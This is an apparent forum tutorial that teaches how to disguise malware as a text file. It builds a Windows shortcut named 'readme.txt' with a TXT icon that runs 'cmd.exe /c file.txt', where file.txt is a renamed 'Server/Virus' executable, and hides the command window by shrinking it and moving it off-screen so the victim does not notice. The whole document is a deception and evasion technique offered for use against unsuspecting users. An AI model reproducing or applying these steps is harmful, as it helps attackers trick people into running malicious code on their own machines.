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As you know a file name .EXE is a Executable file and can run a code. this guide will teach you how to make a .TXT Executable that can run any code you want.. STEP1 download TXT Icon pack: http://planet.nana.co.il/progroup/icon_txt.zip - The pack comes with a 32bit & 16bit icons. STEP2 Open a new file, Right click - New - Shortcut Type the location of the item: "X:\WINDOWS\system32\cmd.exe /c file.txt" ("X"=Driver) img /http://planet.nana.co.il/progroup/pictures/step1_g2.JPG and name it "readme.txt" img /http://planet.nana.co.il/progroup/pictures/step2_g2.JPG STEP3 after creating the readme.txt file right click on it and choose - Properties in the - "Start in" fill - "%currentdir%" , in the - "Run" choose - "Minimized". img /http://planet.nana.co.il/progroup/pictures/step3_g2.JPG then change the icon with one of the TXT icons from the pack by right clicking the readme.txt file then - Properties - Change Icon... STEP4: In order to execute a file you need one.. just change your Server/Virus extantion to .TXT and name it - "file.txt" Now you have a .TXT Shortcut and .TXT Executable, when opening the txt shortcut it opens a command - "C:\WINDOWS\system32\cmd.exe /c test.txt" that executes the file you want. STEP5: Now the readme.txt executes a command window, in order to hide it Right click on the "readme.txt" and choose - Properties - Layout and reduced the size on the window to height=1 and width=1. Now change the window position to height=999 and width=999. Now you got a .TXT Executable! you can try editing it and use some more tricks for hiding the shortcut arrow and more..